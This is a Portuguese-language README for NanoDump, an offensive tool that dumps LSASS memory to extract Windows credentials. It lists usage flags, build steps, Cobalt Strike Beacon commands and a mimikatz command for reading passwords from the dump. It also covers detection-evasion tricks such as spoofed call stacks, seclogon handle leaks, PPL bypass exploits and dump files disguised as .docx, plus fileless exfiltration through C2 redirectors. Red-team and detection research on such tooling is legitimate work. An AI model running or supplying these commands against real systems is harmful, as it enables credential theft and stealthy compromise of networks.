NanoDump

Uma ferramenta flexível que cria um minidump do processo LSASS.

Índice

1. Uso
2. Funcionalidades
3. Combinação de Técnicas
4. Exemplos
5. Redirecionadores HTTPS

1. Uso

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Opções de dumpfile:
    --write DUMP_PATH, -w DUMP_PATH
            nome do arquivo do dump
    --valid, -v
            criar um dump com assinatura válida
Obter um handle do LSASS via:
    --duplicate, -d
            duplicar um handle existente do LSASS com altos privilégios
    --duplicate-elevate, -de
            duplicar um handle existente do LSASS com baixos privilégios e então elevá-lo
    --seclogon-leak-local, -sll
            vazar um handle do LSASS para o nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            vazar um handle do LSASS para outro processo via seclogon e duplicá-lo
    --seclogon-duplicate, -sd
            fazer o seclogon abrir um handle para o LSASS e duplicá-lo
    --spoof-callstack, -sc
            abrir um handle para o LSASS usando uma pilha de chamadas falsa
Deixar WerFault.exe (em vez do nanodump) criar o dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            forçar WerFault.exe a despejar o LSASS via SilentProcessExit
    --shtinkering, -sk
            forçar WerFault.exe a despejar o LSASS via Shtinkering
Evitar ler o LSASS diretamente:
    --fork, -f
            bifurcar o processo alvo antes de despejar
    --snapshot, -s
            criar um snapshot do processo alvo antes de despejar
Evitar abrir um handle com altos privilégios:
    --elevate-handle, -eh
            abrir um handle para o LSASS com baixos privilégios e duplicá-lo para obter privilégios mais altos
Diversos:
    --getpid
            imprimir o PID do LSASS e sair
    --chunk-size
            tamanho do chunk em KiB usado para exfiltrar o dump sem tocar no disco (padrão 900)
Ajuda:
    --help, -h
            imprimir esta mensagem de ajuda e sair

Clonar

git clone https://github.com/fortra/nanodump.git

Compilar (opcional)

No Linux com MinGW

make -f Makefile.mingw

No Windows com MSVC (Sem suporte a BOF)

nmake -f Makefile.msvc

Importar (apenas CobaltStrike)

Importe o script NanoDump.cna no Cobalt Strike.

Executar

Execute o comando nanodump no console do Beacon ou o binário nanodump.x64.exe.

Restaurar a assinatura

Se você não especificou a flag --valid, precisa restaurar a assinatura inválida

scripts/restore_signature <dumpfile>

Obter os segredos

mimikatz:
Para obter os segredos, simplesmente execute:

mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Se preferir ficar no Linux, pode usar o port em python3 do mimikatz chamado pypykatz:

python3 -m pypykatz lsa minidump <dumpfie>

2. Funcionalidades

Bifurcação do processo

Para evitar abrir um handle para o LSASS com PROCESS_VM_READ, você pode usar o parâmetro --fork.
Isso fará com que o nanodump crie um handle para o LSASS com acesso PROCESS_CREATE_PROCESS e então crie um 'clone' do processo. Este novo processo será então despejado. Embora isso resulte na criação e exclusão de um processo, elimina a necessidade de ler o LSASS diretamente.

Snapshot

Similarmente à opção --fork, você pode usar --snapshot para criar um snapshot do processo LSASS.
Isso fará com que o nanodump crie um handle para o LSASS com acesso PROCESS_CREATE_PROCESS e então crie um snapshot do processo usando PssNtCaptureSnapshot. Este novo processo será então despejado. O snapshot será liberado automaticamente após a conclusão.

Duplicação de handle

Como abrir um handle para o LSASS pode ser detectado, o nanodump pode, em vez disso, procurar por handles existentes para o LSASS.
Se um for encontrado, ele será copiado e usado para criar o minidump.
Observe que não há garantia de encontrar tal handle.

Elevar handle

Você pode obter um handle para o LSASS com PROCESS_QUERY_LIMITED_INFORMATION, que provavelmente está na lista de permissões, e então elevar esse handle duplicando-o.

Vazamento de handle Seclogon local

Para evitar abrir um handle para o LSASS, você pode abusar do serviço seclogon chamando CreateProcessWithLogonW para vazar um handle do LSASS para o binário nanodump.
Para habilitar este recurso, use o parâmetro --seclogon-leak-local.
Leve em consideração que, quando usado a partir do Cobalt Strike, um binário nanodump não assinado precisa ser gravado em disco para usar este recurso.

Vazamento de handle Seclogon remoto

Esta técnica é muito semelhante à anterior, mas em vez de vazar o handle para o nanodump, ele é vazado para outro binário e então duplicado para que o nanodump possa usá-lo. Use a flag --seclogon-leak-remote para acessar esta funcionalidade.

Duplicação de handle Seclogon

Você pode enganar o processo seclogon para abrir um handle para o LSASS e duplicá-lo antes que seja fechado, vencendo uma condição de corrida usando bloqueios de arquivo. Use a flag --seclogon-duplicate para acessar esta funcionalidade.

Carregar nanodump como um SSP

Você pode carregar o nanodump como um SSP no LSASS para evitar abrir um handle.
Quando a DLL é carregada no LSASS, os parâmetros serão passados via um pipe nomeado e, uma vez que o dump é concluído, DllMain retornará FALSE para fazer o LSASS descarregar a DLL do nanodump.
Você pode codificar os parâmetros na DLL e evitar usar o pipe nomeado completamente com a flag do compilador PASS_PARAMS_VIA_NAMED_PIPES=0.

Carregar e carregar uma DLL do nanodump

Por padrão, uma DLL do nanodump não assinada será carregada na pasta Temp, que será excluída automaticamente.

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Se você quiser carregar uma DLL pré-existente, pode executar:

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

Exploit PPL Dump

Observe que esta vulnerabilidade foi corrigida no pacote de atualização de julho de 2022 (Windows 10 21H2 Build 19044.1826)

Para acessar este recurso, use o comando nanodump_ppl_dump

beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

Exploit PPL Medic

Para acessar este recurso, use o comando nanodump_ppl_medic

beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

Como o dump não é feito pelo nanodump, ele sempre terá uma assinatura válida.

Silent Process Exit

Para aproveitar a técnica Silent Process Exit, use o parâmetro --silent-process-exit e o caminho onde o dump deve ser criado.

beacon> nanodump --silent-process-exit C:\Windows\Temp\

Um dump do processo nanodump também será criado, semelhante a este:

PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

Você também pode usar a técnica Shtinkering, que exige que o nanodump seja executado como SYSTEM:

beacon> nanodump --shtinkering

O dump será tipicamente criado em C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps

Falsificar a pilha de chamadas

Você pode abrir um handle para o LSASS com uma pilha de chamadas falsa para tornar a chamada de função um pouco mais legítima (especialmente se executada como BOF).
Para acessar este recurso, use o parâmetro --spoof-callstack.

3. Combinação de técnicas

Você pode combinar muitas técnicas para personalizar como o nanodump opera.
A tabela a seguir indica quais flags podem ser usadas juntas.

4. Exemplos

Ler o LSASS indiretamente criando uma bifurcação e escrever o dump no disco com uma assinatura inválida:

beacon> nanodump --fork --write C:\lsass.dmp

Usar o vazamento remoto do seclogon para vazar um handle do LSASS em um processo notepad, duplicar esse handle para obter acesso ao LSASS, então lê-lo indiretamente criando uma bifurcação e baixando o dump com uma assinatura válida:

beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

Obter um handle com vazamento local do seclogon, ler o LSASS indiretamente usando uma bifurcação e escrever o dump no disco com uma assinatura válida (um binário nanodump será carregado!):

beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

Baixar o dump com uma assinatura inválida (padrão):

beacon> nanodump

Duplicar um handle existente e escrever o dump no disco com uma assinatura inválida:

beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

Obter o PID do LSASS:

beacon> nanodump --getpid

Carregar o nanodump no LSASS como um SSP (um binário nanodump será carregado!):

beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

Despejar o LSASS contornando o PPL usando o exploit PPLDump, duplicando o handle que o csrss.exe tem no LSASS:

beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

Despejar o LSASS contornando o PPL usando o exploit PPLMedic, abrindo um handle de baixo privilégio para o LSASS e então elevando-o:

beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

Enganar o seclogon para abrir um handle para o LSASS e duplicá-lo, então baixar o dump com uma assinatura inválida:

beacon> nanodump --seclogon-duplicate

Fazer o processo WerFault.exe criar um despejo de memória completo na pasta Temp:

beacon> nanodump --werfault C:\Windows\Temp\

Abrir um handle para o LSASS com uma pilha de chamadas falsificada e baixar o minidump com uma assinatura inválida:

beacon> nanodump --spoof-callstack

Usar a técnica Shtinkering:

beacon> nanodump --shtinkering

Obter um handle usando vazamento local do seclogon e criar o dump usando a técnica Shtinkering:

beacon> nanodump --seclogon-leak-local --shtinkering

Obter um handle com baixos privilégios e elevá-lo usando elevate handle:

beacon> nanodump --elevate-handle

Obter um handle com baixos privilégios usando uma pilha de chamadas falsificada e elevá-lo usando elevate handle:

beacon> nanodump --elevate-handle --spoof-callstack

Duplicar um handle existente de baixo privilégio e elevá-lo usando elevate handle:

beacon> nanodump --duplicate-elevate

5. Redirecionadores HTTPS

Se você estiver usando um redirecionador HTTPS (como deveria), pode encontrar problemas ao baixar o dump sem arquivo devido ao tamanho das requisições que vazam o dump.
Aumente o tamanho máximo das requisições no seu servidor web para permitir que o nanodump baixe o dump.

NGINX

location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

<Directory "...">
    LimitRequestBody  52428800
</Directory>

Créditos

• skelsec por escrever minidump, que foi crucial para aprender o formato do arquivo minidump.
• freefirex do CS-Situational-Awareness-BOF na Trustedsec por muitos truques legais para BOFs
• Jackson_T por SysWhispers2
• BillDemirkapi por Process Forking
• Antonio Cocomazzi por Abusing leaked handles to dump LSASS memory e Racing for LSASS dumps
• xpn por Exploring Mimikatz - Part 2 - SSP
• Matteo Malvica por Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start
• James Forshaw por Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
• itm4n pelas implementações originais de exploits PPL em modo de usuário, PPLDump e PPLMedic.
• Asaf Gilboa por Lsass Memory Dumps are Stealthier than Ever Before - Part 2 e a técnica Shtinkering